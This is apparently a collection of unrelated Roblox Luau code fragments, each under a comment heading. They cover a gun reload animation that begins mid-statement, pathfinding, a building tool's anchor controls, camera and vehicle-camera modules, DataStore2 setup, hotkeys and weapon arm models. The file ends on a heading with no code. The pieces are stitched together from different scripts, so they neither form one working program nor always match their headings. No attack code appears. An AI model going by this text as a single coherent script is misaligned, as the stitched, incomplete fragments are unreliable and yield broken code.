(-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-80), math.rad(-15),0) wait(0.08) Tool.Reload2:play() weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(285), 0.05, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(280), 0.1, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.8, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.15, math.rad(-90)) wait(0.1) Tool.BAR1.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) Tool.BAR2.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) Tool.BAR3.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) Tool.BAR4.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) Tool.BAR5.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) Tool.BAR6.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) Tool.BARCenter.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) Tool.BARCenter2.Mesh.Offset = Vector3.new(-0.05, 0, -0.1) wait(0.08) Tool.BAR1.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) Tool.BAR2.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) Tool.BAR3.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) Tool.BAR4.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) Tool.BAR5.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) Tool.BAR6.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) Tool.BARCenter.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) Tool.BARCenter2.Mesh.Offset = Vector3.new(-0.1, 0, -0.2) weld55.C1 = CFrame.new(-0.35, 0.8, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.15, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.25, math.rad(-90)) weld33.C1 = CFrame.new(-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-15),0) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.4, math.rad(-90)) wait(0.08) --put the bullets in... Tool.Reload3:play() weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90)) wait(0.08) Tool.Reload3:play() weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90)) wait(0.08) Tool.Reload3:play() weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90)) wait(0.08) Tool.Reload3:play() weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90)) wait(0.08) Tool.Reload3:play() weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.45, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.55, math.rad(-90)) wait(0.08) Tool.Reload3:play() weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.6, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.3, math.rad(-90)) wait(0.08) weld55.C1 = CFrame.new(-0.35, 0.7, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(275), 0.4, math.rad(-90))
--Don't touch anything in this script unless you know what you're doing
script.Parent.MouseButton1Click:connect(function() script.Parent.Parent.Parent.Sound:Stop() end)
--Fire the WaypointReached event
local function invokeWaypointReached(self) local lastWaypoint = self._waypoints[self._currentWaypoint - 1] local nextWaypoint = self._waypoints[self._currentWaypoint] self._events.WaypointReached:Fire(self._agent, lastWaypoint, nextWaypoint) end local function moveToFinished(self, reached) --Handle case for non-humanoids if not self._humanoid then if reached and self._currentWaypoint + 1 <= #self._waypoints then invokeWaypointReached(self) self._currentWaypoint += 1 elseif reached then self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._target = nil self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint]) else self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._target = nil declareError(self, self.ErrorType.TargetUnreachable) end return end if reached and self._currentWaypoint + 1 <= #self._waypoints then --Waypoint reached invokeWaypointReached(self) self._currentWaypoint += 1 move(self) elseif reached then --Target reached, pathfinding ends disconnectMoveConnection(self) self._status = Path.StatusType.Idle self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint]) else --Target unreachable disconnectMoveConnection(self) self._status = Path.StatusType.Idle self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) declareError(self, self.ErrorType.TargetUnreachable) end end
--Signals----------
ChangeSize.OnServerInvoke = function(Player, Model, Scale, Grid, Plot) return ModifyScale(Scale, Plot, Grid, Model) end
-- Function to handle player added
local function onPlayerAdded(player) player.CharacterAdded:Connect(onCharacterAdded) end
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function AnchorTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); BindShortcutKeys(); end; function AnchorTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if UI then -- Reveal the UI UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI UI = Core.Tool.Interfaces.BTAnchorToolGUI:Clone(); UI.Parent = Core.UI; UI.Visible = true; -- References to UI elements local AnchorButton = UI.Status.Anchored.Button; local UnanchorButton = UI.Status.Unanchored.Button; -- Enable the anchor status switch AnchorButton.MouseButton1Click:Connect(function () SetProperty('Anchored', true); end); UnanchorButton.MouseButton1Click:Connect(function () SetProperty('Anchored', false); end); -- Hook up manual triggering local SignatureButton = UI:WaitForChild('Title'):WaitForChild('Signature') ListenForManualWindowTrigger(AnchorTool.ManualText, AnchorTool.Color.Color, SignatureButton) -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not UI then return; end; -- Check the common anchor status of selection local Anchored = Support.IdentifyCommonProperty(Selection.Parts, 'Anchored'); -- Update the anchor option switch if Anchored == true then Core.ToggleSwitch('Anchored', UI.Status); -- If the selection is unanchored elseif Anchored == false then Core.ToggleSwitch('Unanchored', UI.Status); -- If the anchor status varies, don't select a current switch elseif Anchored == nil then Core.ToggleSwitch(nil, UI.Status); end; end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not UI then return; end; -- Hide the UI UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function SetProperty(Property, Value) -- Make sure the given value is valid if Value == nil then return; end; -- Start a history record TrackChange(); -- Go through each part for _, Part in pairs(Selection.Parts) do -- Store the state of the part before modification table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] }); -- Create the change request for this part table.insert(HistoryRecord.After, { Part = Part, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the selection's anchor status ToggleAnchors(); end; end)); end; function ToggleAnchors() -- Toggles the anchor status of the selection -- Change the anchor status to the opposite of the common anchor status SetProperty('Anchored', not Support.IdentifyCommonProperty(Selection.Parts, 'Anchored')); end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncAnchor', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Send the change request Core.SyncAPI:Invoke('SyncAnchor', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncAnchor', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end;
-- Check if player is walking
local check_movement = function() if humanoid.WalkSpeed > 0 and humanoid.MoveDirection.Magnitude > 0 and humanoid.FloorMaterial ~= Enum.Material.Air then return true elseif humanoid.WalkSpeed <= 0 or humanoid.MoveDirection.Magnitude <= 0 or humanoid.FloorMaterial == Enum.Material.Air then return false end end
-- Management of which options appear on the Roblox User Settings screen
do local PlayerScripts = Players.LocalPlayer:WaitForChild("PlayerScripts") PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Default) PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Follow) PlayerScripts:RegisterTouchCameraMovementMode(Enum.TouchCameraMovementMode.Classic) PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Default) PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Follow) PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.Classic) PlayerScripts:RegisterComputerCameraMovementMode(Enum.ComputerCameraMovementMode.CameraToggle) end function CameraModule.new() local self = setmetatable({},CameraModule) -- Current active controller instances self.activeCameraController = nil self.activeOcclusionModule = nil self.activeTransparencyController = nil self.activeMouseLockController = nil self.currentComputerCameraMovementMode = nil -- Connections to events self.cameraSubjectChangedConn = nil self.cameraTypeChangedConn = nil -- Adds CharacterAdded and CharacterRemoving event handlers for all current players for _,player in pairs(Players:GetPlayers()) do self:OnPlayerAdded(player) end -- Adds CharacterAdded and CharacterRemoving event handlers for all players who join in the future Players.PlayerAdded:Connect(function(player) self:OnPlayerAdded(player) end) self.activeTransparencyController = TransparencyController.new() self.activeTransparencyController:Enable(true) if not UserInputService.TouchEnabled then self.activeMouseLockController = MouseLockController.new() local toggleEvent = self.activeMouseLockController:GetBindableToggleEvent() if toggleEvent then toggleEvent:Connect(function() self:OnMouseLockToggled() end) end end self:ActivateCameraController(self:GetCameraControlChoice()) self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode) self:OnCurrentCameraChanged() -- Does initializations and makes first camera controller RunService:BindToRenderStep("cameraRenderUpdate", Enum.RenderPriority.Camera.Value, function(dt) self:Update(dt) end) -- Connect listeners to camera-related properties for _, propertyName in pairs(PLAYER_CAMERA_PROPERTIES) do Players.LocalPlayer:GetPropertyChangedSignal(propertyName):Connect(function() self:OnLocalPlayerCameraPropertyChanged(propertyName) end) end for _, propertyName in pairs(USER_GAME_SETTINGS_PROPERTIES) do UserGameSettings:GetPropertyChangedSignal(propertyName):Connect(function() self:OnUserGameSettingsPropertyChanged(propertyName) end) end game.Workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:OnCurrentCameraChanged() end) return self end function CameraModule:GetCameraMovementModeFromSettings() local cameraMode = Players.LocalPlayer.CameraMode -- Lock First Person trumps all other settings and forces ClassicCamera if cameraMode == Enum.CameraMode.LockFirstPerson then return CameraUtils.ConvertCameraModeEnumToStandard(Enum.ComputerCameraMovementMode.Classic) end local devMode, userMode if UserInputService.TouchEnabled then devMode = CameraUtils.ConvertCameraModeEnumToStandard(Players.LocalPlayer.DevTouchCameraMode) userMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.TouchCameraMovementMode) else devMode = CameraUtils.ConvertCameraModeEnumToStandard(Players.LocalPlayer.DevComputerCameraMode) userMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode) end if devMode == Enum.DevComputerCameraMovementMode.UserChoice then -- Developer is allowing user choice, so user setting is respected return userMode end return devMode end function CameraModule:ActivateOcclusionModule(occlusionMode: Enum.DevCameraOcclusionMode) local newModuleCreator if occlusionMode == Enum.DevCameraOcclusionMode.Zoom then newModuleCreator = Poppercam elseif occlusionMode == Enum.DevCameraOcclusionMode.Invisicam then newModuleCreator = Invisicam else warn("CameraScript ActivateOcclusionModule called with unsupported mode") return end self.occlusionMode = occlusionMode -- First check to see if there is actually a change. If the module being requested is already -- the currently-active solution then just make sure it's enabled and exit early if self.activeOcclusionModule and self.activeOcclusionModule:GetOcclusionMode() == occlusionMode then if not self.activeOcclusionModule:GetEnabled() then self.activeOcclusionModule:Enable(true) end return end -- Save a reference to the current active module (may be nil) so that we can disable it if -- we are successful in activating its replacement local prevOcclusionModule = self.activeOcclusionModule -- If there is no active module, see if the one we need has already been instantiated self.activeOcclusionModule = instantiatedOcclusionModules[newModuleCreator] -- If the module was not already instantiated and selected above, instantiate it if not self.activeOcclusionModule then self.activeOcclusionModule = newModuleCreator.new() if self.activeOcclusionModule then instantiatedOcclusionModules[newModuleCreator] = self.activeOcclusionModule end end -- If we were successful in either selecting or instantiating the module, -- enable it if it's not already the currently-active enabled module if self.activeOcclusionModule then local newModuleOcclusionMode = self.activeOcclusionModule:GetOcclusionMode() -- Sanity check that the module we selected or instantiated actually supports the desired occlusionMode if newModuleOcclusionMode ~= occlusionMode then warn("CameraScript ActivateOcclusionModule mismatch: ",self.activeOcclusionModule:GetOcclusionMode(),"~=",occlusionMode) end -- Deactivate current module if there is one if prevOcclusionModule then -- Sanity check that current module is not being replaced by itself (that should have been handled above) if prevOcclusionModule ~= self.activeOcclusionModule then prevOcclusionModule:Enable(false) else warn("CameraScript ActivateOcclusionModule failure to detect already running correct module") end end -- Occlusion modules need to be initialized with information about characters and cameraSubject -- Invisicam needs the LocalPlayer's character -- Poppercam needs all player characters and the camera subject if occlusionMode == Enum.DevCameraOcclusionMode.Invisicam then -- Optimization to only send Invisicam what we know it needs if Players.LocalPlayer.Character then self.activeOcclusionModule:CharacterAdded(Players.LocalPlayer.Character, Players.LocalPlayer ) end else -- When Poppercam is enabled, we send it all existing player characters for its raycast ignore list for _, player in pairs(Players:GetPlayers()) do if player and player.Character then self.activeOcclusionModule:CharacterAdded(player.Character, player) end end self.activeOcclusionModule:OnCameraSubjectChanged(game.Workspace.CurrentCamera.CameraSubject) end -- Activate new choice self.activeOcclusionModule:Enable(true) end end function CameraModule:ShouldUseVehicleCamera() local camera = workspace.CurrentCamera if not camera then return false end local cameraType = camera.CameraType local cameraSubject = camera.CameraSubject local isEligibleType = cameraType == Enum.CameraType.Custom or cameraType == Enum.CameraType.Follow local isEligibleSubject = cameraSubject and cameraSubject:IsA("VehicleSeat") or false local isEligibleOcclusionMode = self.occlusionMode ~= Enum.DevCameraOcclusionMode.Invisicam return isEligibleSubject and isEligibleType and isEligibleOcclusionMode end
-- damps a 3D rotation in Tait-Bryan YXZ space, filtering out Z
local YawPitchSpring = {} do YawPitchSpring.__index = YawPitchSpring function YawPitchSpring.new(cf) assert(typeof(cf) == "CFrame") return setmetatable({ yawG = getYaw(cf), -- yaw goal yawP = getYaw(cf), -- yaw position yawV = 0, -- yaw velocity pitchG = getPitch(cf), -- pitch goal pitchP = getPitch(cf), -- pitch position pitchV = 0, -- pitch velocity -- yaw/pitch response springs fSpringYaw = VariableEdgeSpring.new( VehicleCameraConfig.yawReponseDampingRising, VehicleCameraConfig.yawResponseDampingFalling, 0 ), fSpringPitch = VariableEdgeSpring.new( VehicleCameraConfig.pitchReponseDampingRising, VehicleCameraConfig.pitchResponseDampingFalling, 0 ), }, YawPitchSpring) end -- Extract Tait-Bryan angles from a CFrame rotation function YawPitchSpring:setGoal(goalCFrame) assert(typeof(goalCFrame) == "CFrame") self.yawG = getYaw(goalCFrame) self.pitchG = getPitch(goalCFrame) end function YawPitchSpring:getCFrame() return CFrame.fromEulerAnglesYXZ(self.pitchP, self.yawP, 0) end function YawPitchSpring:step(dt, pitchVel, yawVel, firstPerson) assert(typeof(dt) == "number") assert(typeof(yawVel) == "number") assert(typeof(pitchVel) == "number") assert(typeof(firstPerson) == "number") local fSpringYaw = self.fSpringYaw local fSpringPitch = self.fSpringPitch -- calculate the frequency spring fSpringYaw.g = mapClamp( map(firstPerson, 0, 1, yawVel, 0), math.rad(VehicleCameraConfig.cutoffMinAngularVelYaw), math.rad(VehicleCameraConfig.cutoffMaxAngularVelYaw), 1, 0 ) fSpringPitch.g = mapClamp( map(firstPerson, 0, 1, pitchVel, 0), math.rad(VehicleCameraConfig.cutoffMinAngularVelPitch), math.rad(VehicleCameraConfig.cutoffMaxAngularVelPitch), 1, 0 ) -- calculate final frequencies local fYaw = 2*math.pi*VehicleCameraConfig.yawStiffness*fSpringYaw:step(dt) local fPitch = 2*math.pi*VehicleCameraConfig.pitchStiffness*fSpringPitch:step(dt) -- adjust response for first person fPitch *= map(firstPerson, 0, 1, 1, VehicleCameraConfig.firstPersonResponseMul) fYaw *= map(firstPerson, 0, 1, 1, VehicleCameraConfig.firstPersonResponseMul) -- step yaw self.yawP, self.yawV = stepSpringAxis( dt, fYaw, self.yawG, self.yawP, self.yawV ) -- step pitch self.pitchP, self.pitchV = stepSpringAxis( dt, fPitch, self.pitchG, self.pitchP, self.pitchV ) return self:getCFrame() end end local VehicleCameraCore = {} do VehicleCameraCore.__index = VehicleCameraCore function VehicleCameraCore.new(transform) return setmetatable({ vrs = YawPitchSpring.new(transform) }, VehicleCameraCore) end function VehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson) return self.vrs:step(dt, pitchVel, yawVel, firstPerson) end function VehicleCameraCore:setTransform(transform) self.vrs:setGoal(transform) end end return VehicleCameraCore
-- Etc
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath") local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled") local DEATH_DESTROY_DELAY = 5 local PATROL_WALKSPEED = 12 local MIN_REPOSITION_TIME = 2 local MAX_REPOSITION_TIME = 10 local MAX_PARTS_PER_HEARTBEAT = 50 local ATTACK_STAND_TIME = 1 local HITBOX_SIZE = Vector3.new(5, 3, 5) local SEARCH_DELAY = 1 local ATTACK_RANGE = 3 local ATTACK_DELAY = 1 local ATTACK_MIN_WALKSPEED = 14 local ATTACK_MAX_WALKSPEED = 18
--[[ DataStore2: A wrapper for data stores that caches and saves Player's data. DataStore2(dataStoreName, Player) - Returns a DataStore2 DataStore DataStore2 DataStore: - Get([defaultValue]) - Set(value) - Update(updateFunc) - Increment(value, defaultValue) - BeforeInitialGet(modifier) - BeforeSave(modifier) - Save() - SaveAsync() - OnUpdate(callback) - BindToClose(callback) local coinStore = DataStore2("Coins", Player) To give a Player coins: coinStore:Increment(50) To get the current Player's coins: coinStore:Get() --]]
local RunService = game:GetService("RunService") local ServerStorage = game:GetService("ServerStorage") local Constants = require(script.Constants) local IsPlayer = require(script.IsPlayer) local Promise = require(script.Promise) local SavingMethods = require(script.SavingMethods) local Settings = require(script.Settings) local TableUtil = require(script.TableUtil) local Verifier = require(script.Verifier) local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio") local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value local function clone(value) if typeof(value) == "table" then return TableUtil.clone(value) else return value end end
--!strict -- upstream: https://github.com/facebook/react/blob/60ba723bf78b9a28f60dce854e88e206fab52301/packages/react-is/src/ReactIs.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * ]]
local Packages = script.Parent
-- Core hotkeys
Hotkeys = {}; function AssignHotkey(Hotkey, Callback) -- Assigns the given hotkey to `Callback` -- Standardize enum-described hotkeys if type(Hotkey) == 'userdata' then Hotkey = { Hotkey }; -- Standardize string-described hotkeys elseif type(Hotkey) == 'string' then Hotkey = { Enum.KeyCode[Hotkey] }; -- Standardize string table-described hotkeys elseif type(Hotkey) == 'table' then for Index, Key in ipairs(Hotkey) do if type(Key) == 'string' then Hotkey[Index] = Enum.KeyCode[Key]; end; end; end; -- Register the hotkey table.insert(Hotkeys, { Keys = Hotkey, Callback = Callback }); end; function EnableHotkeys() -- Begins to listen for hotkey triggering -- Listen for pressed keys Connections.Hotkeys = Support.AddUserInputListener('Began', 'Keyboard', false, function (Input) local _PressedKeys = Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'); -- Filter out problematic keys local PressedKeys = {}; local FilteredKeys = Support.FlipTable { 'LeftAlt', 'W', 'S', 'A', 'D', 'Space' }; for _, Key in ipairs(_PressedKeys) do if not FilteredKeys[Key.Name] then table.insert(PressedKeys, Key); end; end; -- Count pressed keys local KeyCount = #PressedKeys; -- Prioritize hotkeys based on # of required keys table.sort(Hotkeys, function (A, B) if #A.Keys > #B.Keys then return true; end; end); -- Identify matching hotkeys for _, Hotkey in ipairs(Hotkeys) do if KeyCount == #Hotkey.Keys then -- Get the hotkey's key index local Keys = Support.FlipTable(Hotkey.Keys) local MatchingKeys = 0; -- Check matching pressed keys for _, PressedKey in pairs(PressedKeys) do if Keys[PressedKey] then MatchingKeys = MatchingKeys + 1; end; end; -- Trigger the first matching hotkey's callback if MatchingKeys == KeyCount then Hotkey.Callback(); break; end; end; end; end); end; Enabling = RbxUtility.CreateSignal(); Disabling = RbxUtility.CreateSignal(); Enabled = RbxUtility.CreateSignal(); Disabled = RbxUtility.CreateSignal(); function Enable(Mouse) -- Ensure tool is disabled or disabling, and not already enabling if (IsEnabled and not IsDisabling) or IsEnabling then return; -- If tool is disabling, enable it once fully disabled elseif IsDisabling then Disabled:Wait(); return Enable(Mouse); end; -- Indicate that tool is enabling IsEnabling = true; Enabling:Fire(); -- Update the core mouse getfenv(0).Mouse = Mouse; -- Use default mouse behavior UserInputService.MouseBehavior = Enum.MouseBehavior.Default; -- Disable mouse lock in tool mode if Mode == 'Tool' then SyncAPI:Invoke('SetMouseLockEnabled', false); end; -- Wait for UI to initialize asynchronously while not UI do wait(0.1); end; -- Show UI UI.Parent = UIContainer; -- Display startup notifications if not StartupNotificationsDisplayed then Cheer(Tool.Interfaces.Notifications, UI).Start(getfenv(0)); StartupNotificationsDisplayed = true; end; -- Start systems EnableHotkeys(); Targeting.EnableTargeting(); Selection.EnableOutlines(); Selection.EnableMultiselectionHotkeys(); -- Equip current tool EquipTool(CurrentTool or require(Tool.Tools.MoveTool)); -- Indicate that tool is now enabled IsEnabled = true; IsEnabling = false; Enabled:Fire(); end; function Disable() -- Ensure tool is enabled or enabling, and not already disabling if (not IsEnabled and not IsEnabling) or IsDisabling then return; -- If tool is enabling, disable it once fully enabled elseif IsEnabling then Enabled:Wait(); return Disable(); end; -- Indicate that tool is now disabling IsDisabling = true; Disabling:Fire(); -- Reenable mouse lock option in tool mode if Mode == 'Tool' then pcall(SyncAPI.Invoke, SyncAPI, 'SetMouseLockEnabled', true); end; -- Hide UI if UI then UI.Parent = script; end; -- Unequip current tool if CurrentTool then CurrentTool.Unequip(); CurrentTool.Equipped = false; end; -- Clear temporary connections ClearConnections(); -- Indicate that tool is now disabled IsEnabled = false; IsDisabling = false; Disabled:Fire(); end;
--// Functions
function MakeFakeArms() Arms = Instance.new("Model") Arms.Name = "Arms" Arms.Parent = L_5_ local L_172_ = Instance.new("Humanoid") L_172_.MaxHealth = 0 L_172_.Health = 0 L_172_.Name = "" L_172_.Parent = Arms if L_3_:FindFirstChild("Shirt") then local L_177_ = L_3_:FindFirstChild("Shirt"):clone() L_177_.Parent = Arms end local L_173_ = L_3_:FindFirstChild("Right Arm"):clone() for L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do if L_179_forvar2:IsA('Motor6D') then L_179_forvar2:Destroy() end end L_173_.Name = "Right Arm" L_173_.FormFactor = "Custom" L_173_.Size = Vector3.new(0.8, 2.5, 0.8) L_173_.Transparency = 0.0 local L_174_ = Instance.new("Motor6D") L_174_.Part0 = L_173_ L_174_.Part1 = L_3_:FindFirstChild("Right Arm") L_174_.C0 = CFrame.new() L_174_.C1 = CFrame.new() L_174_.Parent = L_173_ L_173_.Parent = Arms local L_175_ = L_3_:FindFirstChild("Left Arm"):clone() L_175_.Name = "Left Arm" L_175_.FormFactor = "Custom" L_175_.Size = Vector3.new(0.8, 2.5, 0.8) L_175_.Transparency = 0.0 local L_176_ = Instance.new("Motor6D") L_176_.Part0 = L_175_ L_176_.Part1 = L_3_:FindFirstChild("Left Arm") L_176_.C0 = CFrame.new() L_176_.C1 = CFrame.new() L_176_.Parent = L_175_ L_175_.Parent = Arms end function RemoveArmModel() if Arms then Arms:Destroy() Arms = nil end end local L_135_ function CreateShell() L_135_ = time() local L_180_ = L_1_.Shell:clone() if L_180_:FindFirstChild('Shell') then L_180_.Shell:Destroy() end L_180_.CFrame = L_1_.Chamber.CFrame L_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0) L_180_.RotVelocity = Vector3.new(-10,40,30) L_180_.Parent = L_101_ L_180_.CanCollide = true game:GetService("Debris"):addItem(L_180_, 1) delay(0.5, function() if L_19_:FindFirstChild('ShellCasing') then local L_181_ = L_19_.ShellCasing:clone() L_181_.Parent = L_2_.PlayerGui L_181_:Play() game:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength) end end) end
--Zombie artificial stupidity script
